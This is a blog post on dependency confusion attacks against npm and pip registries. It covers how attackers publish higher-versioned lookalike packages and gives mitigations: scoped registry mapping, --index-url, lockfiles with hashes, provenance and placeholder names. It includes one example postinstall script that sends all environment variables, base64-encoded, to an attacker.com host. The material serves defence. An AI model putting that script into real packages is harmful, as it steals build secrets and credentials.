← All posts
· 5 min read ·
SecuritySupply ChainCI/CDDevSecOpsnpmPython

Dependency Confusion Attacks: How They Work and How to Prevent Them in 2026

Dependency confusion attacks exploit how package managers resolve package names between public and private registries. Several high-profile incidents in early 2026 show the pattern is still being abused. Here's the mechanics and the mitigations.

Package manager resolution flow showing public vs private registry confusion

Dependency confusion (also called namespace confusion) was publicly described by security researcher Alex Birsan in 2021. He published packages with the same names as internal packages used by Apple, Microsoft, and PayPal to public registries, and their build systems fetched his public versions instead of the private originals. He earned over $130,000 in bug bounties. Three years later, real attackers are still using the same technique, and organisations are still getting hit.

The March 2026 npm security incident involved a targeted dependency confusion attack against several financial services firms using predictable internal package naming conventions. Understanding the mechanics helps you build the right defences.

How the Attack Works

Most package managers check the public registry by default, even if you have a private registry configured. The resolution order matters enormously.

For npm with a private registry configured in .npmrc:

registry=https://npm.your-company.com

If npm.your-company.com doesn’t explicitly deny public package fallback, npm falls back to registry.npmjs.org for packages not found in the private registry. An attacker who knows your internal package name (from a leaked package.json, job posting, or code in a public repo) can publish a malicious package to npm with a higher version number, and your build picks it up.

The attacker’s steps:

  1. Discover internal package name (e.g., @your-company/auth-utils) from a public source
  2. Publish @your-company/auth-utils to npm with version 9.9.9 (your internal version is 1.2.0)
  3. Wait for a build to run npm install and prefer the higher version from public npm
  4. The malicious package executes a postinstall script, exfiltrating environment variables to a remote server

The exfiltration postinstall script (the real ones look like this):

{
    "scripts": {
        "postinstall": "node -e \"require('https').get('https://attacker.com/?' + Buffer.from(JSON.stringify(process.env)).toString('base64'));\""
    }
}

This runs automatically when npm install pulls the package. No explicit import needed.

npm: Preventing Dependency Confusion

Option 1: Scope isolation with --prefer-offline and registry mapping

Lock scoped packages to your private registry:

# .npmrc
@your-company:registry=https://npm.your-company.com
//npm.your-company.com/:_authToken=${NPM_PRIVATE_TOKEN}

With this config, any package under @your-company/ resolves exclusively from your private registry - it won’t fall back to public npm even if the package exists there.

Option 2: npm audit against your scope

Add npm audit to CI and set it to fail on high severity:

- name: Install dependencies
  run: npm ci

- name: Security audit
  run: npm audit --audit-level=high

This won’t catch a novel malicious package (the package has no known CVE yet), but it catches known vulnerabilities in dependencies.

Option 3: Package provenance (npm 2023+)

npm now supports provenance attestations - packages published from GitHub Actions can include a signed statement of where they were built:

- name: Publish to npm
  run: npm publish --provenance
  env:
      NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

Consumers can verify provenance:

npm audit signatures

Any package claiming to be yours that lacks your provenance signature is immediately suspicious.

Python/pip: Preventing Dependency Confusion

pip’s resolution is simpler but has similar risks when using --extra-index-url:

# Dangerous  -  pip checks PyPI first if package is missing from private index
pip install --extra-index-url https://pypi.your-company.com/simple/ your-internal-package

Safe alternative: --index-url (replaces, doesn’t supplement)

# Safe  -  only checks private index, won't fall back to PyPI
pip install --index-url https://pypi.your-company.com/simple/ your-internal-package

For private packages alongside PyPI packages in the same project:

# pyproject.toml (Poetry)
[[tool.poetry.source]]
name = "private"
url = "https://pypi.your-company.com/simple/"
priority = "primary"

[[tool.poetry.source]]
name = "PyPI"
priority = "supplemental"

This means: check private registry first, fall back to PyPI only for packages not found there. The opposite of the attack scenario.

pip-audit for dependency scanning:

- name: Audit Python dependencies
  run: |
      pip install pip-audit
      pip-audit --require-hashes -r requirements.txt

--require-hashes pins each package to an exact hash. A dependency confusion attack substitutes a different package - different hash - and the install fails.

Detecting Internal Package Names in Public Repos

Before attackers find your internal package names, audit your public repositories:

# Search for package.json files with scoped internal packages
grep -r '"@your-company/' . --include="package.json" \
    | grep -v node_modules \
    | grep -v "node_modules"

# Check requirements.txt for private package indices
grep -r "your-company\|internal\|private" requirements*.txt

# Search GitHub for accidentally committed config files
gh search code "your-company/internal-package" --repo your-org

If you find internal package names in public repositories, assess whether attackers could have seen them - if the repo was public at any point, assume they did.

Naming Convention: Register Your Names Publicly

For internal packages at organisations that publish open source, the cleanest defence is to register your package names on public registries with empty or placeholder packages:

npm publish @your-company/auth-utils --dry-run
# If successful, publish an empty placeholder:
# package.json: { "name": "@your-company/auth-utils", "version": "0.0.1" }

This prevents an attacker from claiming the name. The placeholder package does nothing and won’t be installed by internal builds (which specify a version range that the real internal package satisfies).

CI/CD: Lock the Lockfile

The most underrated defence is simply committing lockfiles and verifying them in CI:

# npm
- run: npm ci  # Uses package-lock.json exactly, fails if it doesn't match package.json

# pip
- run: pip install --require-hashes -r requirements.txt  # Only installs exactly what's hashed

# Poetry
- run: poetry install --no-root --sync  # Uses poetry.lock exactly

A dependency confusion attack works by substituting a package. If CI installs from a lockfile with exact hashes, an attacker’s package - with a different hash - will fail the install. The attack is blocked before any code runs.

Lockfile verification won’t help if the lockfile itself is compromised (supply chain attack on the lockfile generation step), but combined with scoped registry configuration and package provenance, it makes the attack chain significantly harder to execute.

The Summary

ControlComplexityEffectiveness
Scoped registry mappingLowHigh for scoped packages
npm ci / pip --require-hashesLowHigh - blocks hash mismatch
Package provenanceMediumHigh - detectable forgery
Register placeholder namesLowHigh - prevents name squatting
postinstall script blockingMediumModerate - breaks some legitimate packages
Dependency scanning (Dependabot)LowLow-Medium - won’t catch novel packages

No single control is sufficient. Lockfile + scoped registry + provenance is the practical baseline for most teams.

← All posts